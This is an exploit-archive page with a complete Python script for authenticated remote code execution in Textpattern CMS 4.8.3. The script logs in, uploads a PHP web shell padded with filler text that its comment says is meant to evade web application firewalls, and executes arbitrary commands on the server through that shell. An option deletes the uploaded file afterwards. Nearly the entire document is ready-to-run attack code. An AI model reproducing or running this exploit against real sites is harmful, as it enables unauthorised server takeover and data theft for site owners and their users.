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Textpattern CMS 4.8.3 Remote Code Execution

Textpattern CMS 4.8.3 Remote Code Execution
Posted Mar 4, 2021
Authored by Ricardo Jose Ruiz Fernandez

Textpattern CMS version 4.8.3 remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 5d72f66d478a2984ca653c4a364a7b05f0376f43326f5771233c541c2b4d625f

Textpattern CMS 4.8.3 Remote Code Execution

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# Exploit Title: Textpattern <= 4.8.3 Remote code execution (Authenticated)
# Date: 03/03/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/start
# Version: Previous to 4.8.3
# Tested on: CentOS, textpattern 4.5.7 and 4.6.0
# Install dependencies: pip3 install beautifulsoup4 argparse requests
# Example: python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/textpattern-exploit-rce

import sys
import argparse
import requests
from bs4 import BeautifulSoup


def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
parser.add_argument('-u', '--user', required=True, action='store', help='Username')
parser.add_argument('-p', '--password', required=True, action='store', help='Password')
parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute')
parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload')
parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command')
my_args = parser.parse_args()
return my_args


def get_file_id(s, files_url, file_name):
r = s.get(files_url, verify=False)
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.findAll('a'):
if "file_download/" in a['href']:
file_id_name = a['href'].split('file_download/')[1].split("/")
if file_id_name[1] == file_name:
file_id = file_id_name[0]
return file_id


def login(login_url, user, password):
s = requests.Session()
s.get(login_url, verify=False)
data = {"p_userid":user, "p_password":password, "_txp_token":""}
r = s.post(login_url, data=data, verify=False)
if str(r.status_code) == "401":
print("[+] Invalid credentials")
sys.exit(0)
_txp_token = ""
soup = BeautifulSoup(r.text, "html.parser")
fields = soup.findAll('input')
for f in fields:
if (f['name'] == "_txp_token"):
_txp_token = f['value']
return s,_txp_token


def upload(s, login_url, _txp_token, file_name):
php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems
php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>'
s.post(login_url, files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False)


def exec_cmd(s, cmd_url, command):
r = s.get(cmd_url+command, verify=False)
response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","")
return response


def delete_file(s, login_url, file_id, _txp_token):
data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token}
s.post(login_url, data=data, verify=False)


def main():
args = get_args()
url = args.target
user = args.user
password = args.password
file_name = args.filename
command = args.command
delete_after_execute = args.delete

login_url = url + "/textpattern/index.php"
upload_url = url + "/textpattern/index.php"
cmd_url = url + "/files/" + file_name + "?cmd="
files_url = url + "/textpattern/index.php?event=file"

s,_txp_token = login(login_url, user, password)
print("[+] Logged in")
upload(s, login_url, _txp_token, file_name)
file_id = get_file_id(s, files_url, file_name)
print("[+] File uploaded with id %s"%(file_id))
response = exec_cmd(s, cmd_url, command)
print("[+] Command output \n%s"%(response))

if delete_after_execute:
print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id))
delete_file(s, login_url, file_id, _txp_token)
else:
print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name))


if __name__ == "__main__":
main()
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